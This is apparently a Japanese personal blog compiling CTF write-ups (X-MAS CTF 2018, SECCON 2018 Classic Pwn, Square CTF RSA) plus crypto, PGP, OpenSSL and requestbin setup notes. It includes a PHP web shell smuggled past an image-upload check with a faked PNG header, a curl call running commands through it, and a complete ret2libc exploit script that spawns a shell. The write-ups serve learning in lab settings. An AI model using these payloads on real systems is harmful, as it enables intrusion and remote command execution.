X-MAS CTF 2018 writeup
仕事終わりとかにチマチマやっていました。
cryptoを一問も解けていないので哀しみ。あとで復習します。 そこそこ復習しました。
反省会会場はこちら。
Santa The Weaver(Misc)
画像が降ってくるのでstringsコマンドを実行する。
X-MAS{S4n7a_l1k3s_h1di()g_gif7$}
Oh Christmas Tree(Forensics)
なんか降ってきた画像をstringsコマンド実行したら出力の一番下に{this_is_not_the_flag_you_are_looking_for}
とか書いてあったので上の方を見てみたらフラグがでてきた。
X-MAS{0_Chr15tmas_tr33_1s_th1s_a_flag_i_wond3r}
Message from Santa(Forensics)
imgファイルが降ってくる。binwalkコマンドで中身をみてみるとpngファイルがたくさんあったので、7zコマンドで展開する。
$ binwalk classified_gift_distribution_schema.img $ 7z l classified_gift_distribution_schema.img $ 7z e classified_gift_distribution_schema.img
画像をつなぎ合わせてフラグを読んでおしまい。(人力)
from PIL import Image #alphabet = ['a', 'a1', 'a2', 'a3', 'a4', 'a5','a6', 'a7', 'a9', 'a10', 'a11','b', 'c', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] alphabet_0 = ['a11', 'j', 'a5'] alphabet_1 = ['b', 'k', 'a3', 'q', 'l', 'e', 'w', 'a4', 'i', 'm', 'p'] alphabet_2 = ['a7', 'n', 's', 'o', 'a10', 'r', 'f'] alphabet_3 = ['h', 'v', 'c', 'a2', 'g', 'a6', 'u'] alphabet_4 = ['a', 'a1', 'a9', 't', 'x', 'y', 'z'] images0 = map(Image.open, [i+".png" for i in alphabet_0]) images0 = list(images0) widths0, heights0 = zip(*(i.size for i in images0)) total_width0 = sum(widths0) max_height0 = max(heights0) new_im0 = Image.new('RGB', (total_width0, max_height0)) x_offset0 = 0 for im in images0: new_im0.paste(im, (x_offset0,0)) x_offset0 += im.size[0] new_im0.save('test0.jpg') images1 = map(Image.open, [i+".png" for i in alphabet_1]) images1 = list(images1) widths1, heights1 = zip(*(i.size for i in images1)) total_width1 = sum(widths1) max_height1 = max(heights1) new_im1 = Image.new('RGB', (total_width1, max_height1)) x_offset1 = 0 for im in images1: new_im1.paste(im, (x_offset1,0)) x_offset1 += im.size[0] new_im1.save('test1.jpg') images2 = map(Image.open, [i+".png" for i in alphabet_2]) images2 = list(images2) widths2, heights2 = zip(*(i.size for i in images2)) total_width2 = sum(widths2) max_height2 = max(heights2) new_im2 = Image.new('RGB', (total_width2, max_height2)) x_offset2 = 0 for im in images2: new_im2.paste(im, (x_offset2,0)) x_offset2 += im.size[0] new_im2.save('test2.jpg') images3 = map(Image.open, [i+".png" for i in alphabet_3]) images3 = list(images3) widths3, heights3 = zip(*(i.size for i in images3)) total_width3 = sum(widths3) max_height3 = max(heights3) new_im3 = Image.new('RGB', (total_width3, max_height3)) x_offset3 = 0 for im in images3: new_im3.paste(im, (x_offset3,0)) x_offset3 += im.size[0] new_im3.save('test3.jpg')
フラグはX-MAS{1t_l00k5_l1k3_s4nta_m4de_4_m1stak3_sorry}
。
Santa's Security Levels
mp3ファイルが降ってくる。再生すると最初はシャンシャンとクリスマスっぽい音楽が流れるが、途中から曲調が変わりピーピー鳴り始める。この時点でモールス信号だと予想がつくので以下のサイトで解析する。
すると、以下のgithubリポジトリに行き着く。 github.com
とりあえず書いてあるメッセージをrot13で復号する。
# printf "vF ur uNq nAlguvat pbasvqraGvNy gb fnl, ur jebgr Vg ia pvcure, gung vF, ol FB punaTvat gur beqre bs gur Yf bs gur nycuNorg, gung abg n jbeQ pbhyq or ZnQR bHg." | nkf -r iS he hAd aNything confidenTiAl to say, he wrote It vn cipher, that iS, by SO chanGing the order of the Letters of the alphAbet, that not a worD could be MaDE oUt.
最後に大文字のみを拾ってFLAGフォーマットにしておしまい。
X-MAS{santaissogladmdeu}
GnomeArena: Rock Paper Scissors(Web)
以下問題文。
This new website is all the rage for every gnome in Lapland! How many games of Rock Paper Scissors can you win? Server: http://199.247.6.180:12002
とりあえずサーバーにアクセスする。すると、以下のようなページが現れてジャンケンをすることができる。 しばらくジャンケンをしてみても何もおこらないので、settigsのページへ行ってみる。すると、画像のアップロード機能が用意されている。 一応画像以外のファイルはアップロードできなくなっていたが、以下のように適当にファイルをつなぎ合わせてヘッダのみpngにしてやると任意のファイルをアップロードすることができる。
$ cat noimage sample.php > exploit.php
phpのファイルとしては以下のようなものを用意して、アップロードする。
<pre> <?php echo system($_GET["cmd"]); ?> </pre>
アップロード後、Nameをアップロードしたファイルと同じにすると、http://199.247.6.180:12002/avatars/exploit.php
みたいな場所からファイルを取得してくるので、そこを辿って処理を読むことができる。
あとは適当にコマンドを実行してフラグを探して終わり。
$ curl -X GET "http://199.247.6.180:12002/avatars/exploit.php?cmd=cat /var/www/html/flag.txt"
フラグはX-MAS{Ev3ry0ne_m0ve_aw4y_th3_h4ck3r_gn0m3_1s_1n_t0wn}
。
SECCON2018 Classic Pwn 供養
SECCON2018 Classic Pwn
当日は仮想通貨ガチャ回していて取り組めなかったし、取り組んでいてもどのみち解けなかったと思う。最近pwn欲はあまりないが、Classic Pwnくらいは一般教養として復習しておこうと思った。
Classic Pwn
まずはfileコマンドから。
$ file classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=a8a02d460f97f6ff0fb4711f5eb207d4a1b41ed8, not stripped
次にchecksecの結果を確認。
gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial
強い先輩が、実行ファイルが渡されたらとりあえずバッファオーバーフローさせるか、書式文字列ブチ込めって言っていたのでやってみる。
$ python -c "print('A' * 1000)" | ./classic_aa9e979fd5c597526ef30c003bffee474b314e22
バッファオーバーフローした。 pattcでパターン文字列を使ってオフセットを調べる。
gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ patto "IAAeAA4AAJAAfAA5AAKAAgAA6AAL" IAAeAA4AAJAAfAA5AAKAAgAA6AAL found at offset: 72
RSPの値"IAAeAA4AAJAAfAA5AAKAAgAA6AAL"
までのオフセットが72バイトであることがわかる。
次に攻撃に利用できそうな関数を探す。探す方法はいくつかあると思うが、以下のコマンドで割と綺麗に探せるようなので実行してみた。
$ objdump -d -M intel -j .plt --no classic_aa9e979fd5c597526ef30c003bffee474b314e22 classic_aa9e979fd5c597526ef30c003bffee474b314e22: file format elf64-x86-64 Disassembly of section .plt: 0000000000400510 <puts@plt-0x10>: 400510: push QWORD PTR [rip+0x200af2] # 601008 <_GLOBAL_OFFSET_TABLE_+0x8> 400516: jmp QWORD PTR [rip+0x200af4] # 601010 <_GLOBAL_OFFSET_TABLE_+0x10> 40051c: nop DWORD PTR [rax+0x0] 0000000000400520 <puts@plt>: 400520: jmp QWORD PTR [rip+0x200af2] # 601018 <_GLOBAL_OFFSET_TABLE_+0x18> 400526: push 0x0 40052b: jmp 400510 <_init+0x28> 0000000000400530 <setbuf@plt>: 400530: jmp QWORD PTR [rip+0x200aea] # 601020 <_GLOBAL_OFFSET_TABLE_+0x20> 400536: push 0x1 40053b: jmp 400510 <_init+0x28> 0000000000400540 <printf@plt>: 400540: jmp QWORD PTR [rip+0x200ae2] # 601028 <_GLOBAL_OFFSET_TABLE_+0x28> 400546: push 0x2 40054b: jmp 400510 <_init+0x28> 0000000000400550 <__libc_start_main@plt>: 400550: jmp QWORD PTR [rip+0x200ada] # 601030 <_GLOBAL_OFFSET_TABLE_+0x30> 400556: push 0x3 40055b: jmp 400510 <_init+0x28> 0000000000400560 <gets@plt>: 400560: jmp QWORD PTR [rip+0x200ad2] # 601038 <_GLOBAL_OFFSET_TABLE_+0x38> 400566: push 0x4 40056b: jmp 400510 <_init+0x28>
まず、pop rdi
-> puts@got
-> puts@plt
-> main
して libc のベースアドレスをリークさせる。ついでにsystem関数のアドレスも求めておく。
payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) ... leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"]
"pop rdi; ret"
はgdb-pedaの中で以下のように調べることができる。
gdb-peda$ b main Breakpoint 1 at 0x4006ad gdb-peda$ r gdb-peda$ ropsearch "pop rdi" Searching for ROP gadget: 'pop rdi' in: binary ranges 0x00400753 : (b'5fc3') pop rdi; ret
次にpop rdi
->/bin/sh addr
してsystem("/bin/sh")
を呼び出しておわり。
payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef)
最終的に以下のコードを実行してシェルを取り、幸せになったらおわり。 (コードについては こちらのブログのものがわかりやすかったので使わせていただきました。)
from pwn import * def main(): conn = process("./classic_aa9e979fd5c597526ef30c003bffee474b314e22") elf = ELF("./classic_aa9e979fd5c597526ef30c003bffee474b314e22") libc = ELF("./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253") popret = 0x400753 payload = "A" * 72 payload += p64(popret) payload += p64(elf.got["gets"]) payload += p64(elf.plt["puts"]) payload += p64(elf.symbols["main"]) conn.recvuntil(">> ") conn.sendline(payload) conn.recvuntil("Have a nice pwn!!\n") leak_addr = u64(conn.recv(6) + "\x00\x00") libc_base = leak_addr - libc.symbols["gets"] system_addr = libc_base + libc.symbols["system"] print "libc_base: " + hex(libc_base) print "system_addr: " + hex(system_addr) payload = "A" * 72 payload += p64(popret) payload += p64(libc_base + next(libc.search('/bin/sh'))) payload += p64(system_addr) payload += p64(0xdeadbeef) conn.recvuntil(">> ") conn.sendline(payload) conn.interactive() if __name__ == "__main__": main()
おわり。若干消化不良なところもあるので強いパイセンに聞いて追記しようと思う。
参考
http://shift-crops.hatenablog.com/entry/2018/11/05/042149#Classic-Pwn-Exploit-121-197-solves http://ywkw1717.hatenablog.com/entry/2018/10/28/185936 http://yuta1024.hateblo.jp/entry/2018/11/01/215302 https://osanamity.net/2018/11/06/110940
squarectf2018 writeup
なかなか時間が確保できない今日この頃だが、脳死で解けそうなcrypto問があったので一応解いておいた。
C2: flipping bits
以下問題文。
Disabling C2 requires cracking a RSA message. You have two ciphertexts. The public key is (e1, n). Fortunately (this time), space rabiation caused some bit flibs and the second ciphertext was encrypted with a faulty public key (e2, n). Can you recover the plaintexts?
ダウンロードしたjarを展開すると以下の内容のテキストファイルが出てくる。
ct1: 13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654 ct2: 79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065 e1: 13 e2: 15 modulus: 103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627 You have two captured ciphertexts. The public key is (e1, n). But, due to a transient bit flip, the second ciphertext was encrypted with a faulty public key: (e2, n). Recover the plaintexts. (The algorithm is RSA.)
bit flipとか書いてあってめんどくさそうな気がめちゃくちゃしたが、とりあえずRSA問ということで、いつもどおり使える攻撃が何かないか探してみる。
elliptic-shiho.hatenablog.com
今回はm(平文)
とn
が共通でe
が異なるc(暗号文)
の組みがあるので、Common Modulus Attackが利用できそう。
適当にコードを書く。(勢い余ってpython2で書いてしまった)
import sys import gmpy import binascii def common_modulus_attack(c1, c2, e1, e2, n): gcd, s1, s2 = gmpy.gcdext(e1, e2) if s1 < 0: s1 = -s1 c1 = gmpy.invert(c1, n) elif s2 < 0: s2 = -s2 c2 = gmpy.invert(c2, n) v = pow(c1, s1, n) w = pow(c2, s2, n) m = (v * w) % n return m if __name__ == '__main__': n = 103109065902334620226101162008793963504256027939117020091876799039690801944735604259018655534860183205031069083254290258577291605287053538752280231959857465853228851714786887294961873006234153079187216285516823832102424110934062954272346111907571393964363630079343598511602013316604641904852018969178919051627 e1 = 13 e2 = 15 c1 = 13981765388145083997703333682243956434148306954774120760845671024723583618341148528952063316653588928138430524040717841543528568326674293677228449651281422762216853098529425814740156575513620513245005576508982103360592761380293006244528169193632346512170599896471850340765607466109228426538780591853882736654 c2 = 79459949016924442856959059325390894723232586275925931898929445938338123216278271333902062872565058205136627757713051954083968874644581902371182266588247653857616029881453100387797111559677392017415298580136496204898016797180386402171968931958365160589774450964944023720256848731202333789801071962338635072065 print binascii.unhexlify(hex(common_modulus_attack(c1, c2, e1, e2, n))[2:])
解けた。FLAGはflag-54d3db5c1efcd7afa579c37bcb560ae0
。
所感
スコアリングの方式は謎だったが、問題の難易度的にはクソ雑魚の自分でも楽しめるくらいだったようだ。(そろそろ難しい問題にも挑戦していけ!?)
来年もできれば参加したい。
requestbinを復活させる話
requestbin復活を復活させる
requestbinがいつか忘れたけどサービス終了してしてまって悲しいので復活方法を自分用メモとして残しておく。 github.com
Digitalocean設定手順(任意)
[Create]ボタンからテキトーにDropletをcreateしていく。スペックはテキトーに選択し、OSはテキトーにCentOS7系を選んどけば動く。
すでに登録したSSH Keyがあれがそれを選択するのも忘れずに。鍵を設定しておけば以下のようにsshできる。(どのユーザー名でログインできるのか大体わすれる)
$ ssh -i [秘密鍵] root@[IPアドレス]
必要に応じでDNSの設定も変更しておく。[Networking]から設定したいDomainを選択し、Aレコードを今回立ち上げたDropletのipアドレスに変更しておく。
(そもそものDigitalOceanでDNS周りを設定する方法はこちらを参考にしていただければ幸いです。
requestbinの復活
requetbinを起動していく。とりあえず各コマンドを雑に実行していく。(怒られそう)
$ sudo yum install git $ sudo yum install docker-ce $ sudo systemctl start docker $ git clone https://github.com/Runscope/requestbin.git $ curl -L https://github.com/docker/compose/releases/download/1.12.0/docker-compose-`uname -s`-`uname -m` > docker-compose $ sudo chmod +x docker-compose $ cd requestbin/ $ sudo ../docker-compose build $ sudo ../docker-compose up -d
docker周りで上手く行かなかったらテキトーにココを見て設定する。最後に[IPアドレス]:8000
にアクセスできればおわり。
参考
id0-rsa.pubのメモ【ECDSA Nonce Recovery】
ECDSA Nonce Recovery
same k attackの話。以下問題文。
As part of signing something using DSA (digital signature algorithm) one must select a secret, cryptographically secure random number k to be used as a nonce. k must never be reused. Why you ask? Well you could ask Sony, or I could just tell you that you can recover k given two signature / message pairs that used the same k and signing key, which can lead to the signing key being compromised. I've signed two messages (z1,z2) with the same k (using the NIST curve P-192), resulting in the signatures (s1,r1) and (s2,r2). Your job is to recover k (submit your answer in hex). Some reading to get started (of most relevance is section 2.3). z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376 s1 = 5416854926380100427833180746305766840425542218870878667299 r1 = 5568285309948811794296918647045908208072077338037998537885 z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879 s2 = 1063435989394679868923901244364688588218477569545628548100 r2 = 5568285309948811794296918647045908208072077338037998537885 n = 6277101735386680763835789423176059013767194773182842284081
same k attackとは、ECDSA、DSA、ElGamal署名あたりの署名アルゴリズムで、二つの別々のメッセージに同じ乱数kで署名を行った場合、kを復元可能という攻撃手法?のこと。割とCTFでは頻出っぽい。(SECCON Beginners2018やVolga CTF 2017でも同様の問題が出題されていた)
とりあえず過去のsolverにブチ込む。以下のような感じで解いてみた。
z1 = 78963682628359021178354263774457319969002651313568557216154777320971976772376 s1 = 5416854926380100427833180746305766840425542218870878667299 r1 = 5568285309948811794296918647045908208072077338037998537885 z2 = 62159883521253885305257821420764054581335542629545274203255594975380151338879 s2 = 1063435989394679868923901244364688588218477569545628548100 r2 = 5568285309948811794296918647045908208072077338037998537885 n = 6277101735386680763835789423176059013767194773182842284081 def inv(x): return pow(x, n-2, n) k = (z1-z2)*inv(s1-s2) % n print(hex(k))
最初全然Acceptにならなくて困っていたけど、どうやらnを法として計算しないとダメらしい。(ここで初めてnの利用用途に気づく...)
なぜ上記の方程式で復元できるのかはあまりわかっていないので時間があるときにまた調べたい。あと、以前PS3でこの攻撃手法が使えたっぽいことに驚いた。(cryptoも物によっては意外と身近なんだなあ)
参考
id0-rsa.pubのメモ【Intro to PGP】
Intro to PGP
gpgコマンドの使い方の話。
基本的には書かれている内容に沿ってすすめるだけだが、一部不明な点があったので以下の記事も参考に進めた。
qiita.com
まず鍵サーバーpgp.mit.eduでid0rsa.pub.gmailを検索するとkeyIDがA81B09D4
だとわかる。
鍵サーバーから公開鍵を受信する。
$ gpg --keyserver pgp.mit.edu --recv-keys A81B09D
あとはmessage.asc
として保存したメッセージを確認して終了。
$ gpg -o out.txt -d message.asc $ cat out.txt Thank you Phil Zimmermann!
参考
https://qiita.com/spiegel-im-spiegel/items/079d69282166281eb946
id0-rsa.pubのメモ【Hello OpenSSL】
Hello OpenSSL
opensslコマンドの使い方の話。以下問題文。
This is an RSA key -----BEGIN RSA PRIVATE KEY----- MIGtAgEAAiEA5tygpSZdOZUMfuO3oTGWR4cALBtWui5UzrQw2/8JlZ0CAwEAAQIh AI9n4Yp1KFfKlHaF8d15tgUONQXn+e3aI+beFKoi2XipAhEA/ZkHPmcDwXIqloGr minb1wIRAOkMdv7emMGd08gwwOQ6i6sCEQC0pjcXx9BQFCCsWDDCwAC/AhEAxYcn JQeO+izH4JpSJB/rWQIRAOO9m6JHEWgzLYD+fe003vw= -----END RSA PRIVATE KEY----- It was generated with the command $ openssl genrsa 256. A secret 64 bit number was encrypted with this key, resulting in this cipher text 6794893f3c47247262e95fbed846e1a623fc67b1dd96e13c7f9fc3b880642e42 Recover the secret number (in lowercase hex).
opensslコマンド
opensslコマンドの書式について以下にまとめる。[ ]内は省略可能。
openssl [サブコマンド] [オプション]
主なサブコマンド
サブコマンド | 説明 |
---|---|
ca | 認証局の証明書を管理 |
crl | CRLを管理 |
dgst | メッセージダイジェストを計算 |
genrsa | RSA秘密鍵を生成 |
md5 | MD5ダイジェスト |
pkcs12 | PKCS#12形式のファイルの作成と管理 |
req | X.509証明書署名要求(CSR)を管理 |
rsa | RSAの秘密鍵を管理 |
rsautl | RSAアルゴリズムを使用したメッセージの署名、検証、暗号化および復号 |
s_client | SSL/TLSプロトコルを使用して指定サーバに接続 |
s_server | SSL/TLSプロトコルを使用してメッセージを受信するサーバーとして動作 |
version | OpenSSLのバージョン情報を表示 |
x509 | X.509証明書データを管理 |
公開鍵と秘密鍵の生成
opensslでは、秘密鍵と公開鍵の作成や、それらを利用した暗号化と復号が可能。
サブコマンドとして、genrsa、rsa、rsautlを利用する。
genrsa
openssl genrsa [オプション]
主なオプション
オプション | 説明 |
---|---|
-out <ファイル名> | 生成したRSA形式の秘密鍵を出力するファイル名を指定。指定がない場合は標準出力に表示 |
-des | 暗号化にDESを使用 |
-des3 | 暗号化にTripleDESを使用 |
-idea | 暗号化にIDEAを使用 |
ビット数 | 生成するRSA形式の秘密鍵のビット数。指定がない場合は512ビット |
rsa
openssl rsa [オプション]
主なオプション
オプション | 説明 |
---|---|
-in <ファイル名> | 生成したRSA形式の秘密鍵のファイル名を指定。指定がない場合は標準入力から読み込む |
-noout | エンコードされた鍵を表示しない |
-out <ファイル名> | RSA形式の秘密鍵を出力するファイル名を指定。指定がない場合は標準出力に表示 |
-pubin <ファイル名> | 生成したRSA形式の公開鍵ファイル名を指定。指定がない場合は標準入力から読み込む |
-pubout | 秘密鍵とペアとなる公開鍵を標準出力 |
-text | テキスト形式で表示 |
-des | 暗号化にDESを使用 |
-des3 | 暗号化にTripleDESを使用 |
-idea | 暗号化にIDEAを使用 |
rsautl
rsautlはRSAによるメッセージの署名、検証、暗号化、復号を行うサブコマンド。
openssl rsautl [オプション]
主なオプション
オプション | 説明 |
---|---|
-decrypt | ファイルの復号を行う |
-encrypt | ファイルの暗号化を行う |
-in <ファイル名> | 暗号化もしくは復号対象のファイル名を指定 |
-inkey <ファイル名> | 秘密鍵とペアとなる公開鍵を標準出力 |
-out <ファイル名> | 暗号化もしくは復号したファイルの内容を出力するファイル名を指定。指定がない場合は標準出力に表示 |
-pubin | 公開鍵ファイルを入力する場合に指定 |
solution
長々とopensslのコマンド、オプションを書いたが、今回は与えられた秘密鍵をprivate.keyとして保存して以下のコマンドを実行すればOK。
printf "6794893f3c47247262e95fbed846e1a623fc67b1dd96e13c7f9fc3b880642e42" | xxd -r -p | openssl rsautl -inkey private.key -raw -decrypt | xxd -p -c 8 | tail -n 1
おわりに
気が向いたら証明書周りのサブコマンドも書く。
参考
2年前くらいにLPIC Level3 303 を取得したときに使っていた以下の本を参考に書きました。 https://www.amazon.co.jp/%E5%BE%B9%E5%BA%95%E6%94%BB%E7%95%A5LPIC-Level3-303%E6%95%99%E7%A7%91%E6%9B%B8-%E5%95%8F%E9%A1%8C%E9%9B%86-Version/dp/4295000515/ref=pd_lpo_sbs_14_t_2?_encoding=UTF8&psc=1&refRID=PHRQ15D99HZ76TZ22E18www.amazon.co.jp